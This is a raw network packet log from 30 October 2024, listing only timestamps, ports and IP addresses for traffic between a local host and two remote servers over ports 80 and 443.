Oct 30, 2024 15:59:07.346868992 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.352596045 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.352631092 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.352716923 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.352930069 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.352951050 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.357603073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.357650042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.357661009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.357667923 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.357698917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.357722044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.357729912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.357741117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.357790947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.357820988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.370702028 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.370893002 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.370945930 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.371326923 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.371344090 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.371357918 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.371365070 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.371737003 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.371767044 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.371824980 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.371860981 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.371887922 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.371920109 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.371967077 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.372126102 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.372154951 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.372181892 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.372198105 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.374404907 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.374423981 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.374478102 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.374491930 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.374540091 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.374546051 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.374560118 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.374618053 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.376674891 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.376674891 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.376693964 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.376728058 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.380759954 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.380810022 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.380871058 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.381031990 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.381047010 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.381105900 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.381437063 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.381455898 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.381623983 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.381639004 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.383816957 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.383855104 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.383925915 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.384331942 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.384345055 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.434437037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434494972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434506893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434609890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434623957 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.434627056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434645891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434650898 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.434662104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434688091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.434704065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.434772015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.435441017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.435480118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.435489893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.435512066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.435524940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.435570002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.474306107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.474354029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.474380970 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.474415064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.474437952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.474459887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.474476099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.474504948 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.474507093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.474538088 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.474558115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.551533937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551558018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551568985 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551660061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551671028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551754951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.551754951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.551821947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551879883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.551915884 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551927090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551947117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.551974058 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.552000999 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.552006006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.552057028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.591362953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.591382980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.591406107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.591433048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.591552019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.591574907 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.591582060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.591593981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.591618061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.591638088 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.591686964 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.603590012 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.604393005 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.604468107 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.605089903 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.605107069 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.668327093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.668339014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.668414116 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.668479919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.668531895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.668550014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.668560982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.668601036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.668629885 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.668636084 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.668647051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.668677092 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.668701887 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.669159889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.669183969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.669203997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.669249058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.669344902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.708724976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.708758116 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.708774090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.708811045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.708843946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.708889961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.709050894 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.709100008 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.709134102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.709146023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.709180117 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.709271908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.709316015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.736145020 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.736501932 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.736592054 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.736749887 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.736749887 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.736763000 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.736771107 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.740384102 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.740403891 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.740520000 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.740761995 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.740771055 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.785537958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785573959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785651922 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.785686016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.785695076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785742044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.785809040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785820961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785860062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.785876036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785887957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785909891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.785932064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.785948992 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.786629915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.786688089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.786695004 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.786705017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.786741018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.786768913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.825795889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.825828075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.825835943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.825927019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.825927973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.825927973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.825939894 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.825979948 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.826009989 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.826035023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.826078892 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.826451063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.826462030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.826481104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.826507092 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.826508045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.826539993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.826570034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.902761936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.902815104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.902895927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.902916908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.902952909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.902955055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.903008938 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.903008938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.903038025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.903064966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.903084993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.903302908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.903358936 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.903392076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.903399944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.903430939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.903444052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.903444052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.903498888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943188906 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943207026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943231106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943269968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943281889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943281889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943336964 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943423033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943464041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943469048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943497896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943512917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943540096 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943572998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943598032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943608999 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.943619967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943644047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.943660021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.020150900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020164967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020184994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020294905 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.020381927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020399094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020414114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020458937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.020493031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020493031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.020544052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.020617962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020634890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020648956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.020670891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.020699978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.060162067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060190916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060235977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060286045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060282946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.060297012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060347080 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.060383081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.060411930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060461998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.060503006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060513020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060554028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.060589075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060599089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.060638905 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.085627079 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.086462975 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.086488008 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.087156057 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.087163925 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.117142916 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.117944956 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.118005991 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.118586063 CET	49718	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.118594885 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.124378920 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.124871969 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.124896049 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.125462055 CET	49719	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.125468969 CET	443	49719	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.128914118 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.129354000 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.129369974 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.129935026 CET	49720	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.129940033 CET	443	49720	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.137077093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137092113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137100935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137170076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.137196064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137202978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137250900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.137250900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.137514114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137520075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137531042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137603998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.137613058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137619972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.137662888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.177313089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177329063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177339077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177350998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177356958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177367926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177426100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.177479029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.177557945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177598000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177612066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177632093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.177654028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.177684069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.178117990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.178220034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:08.178292036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:08.217371941 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.217499971 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.217571020 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.220747948 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.220762968 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.220778942 CET	49717	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.220786095 CET	443	49717	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.224998951 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.225059032 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.225151062 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.225442886 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:08.225460052 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.248467922 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.248521090 CET	443	49718	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:08.248594999 CET	49718	443	192.168.2.6	13.107.246.45
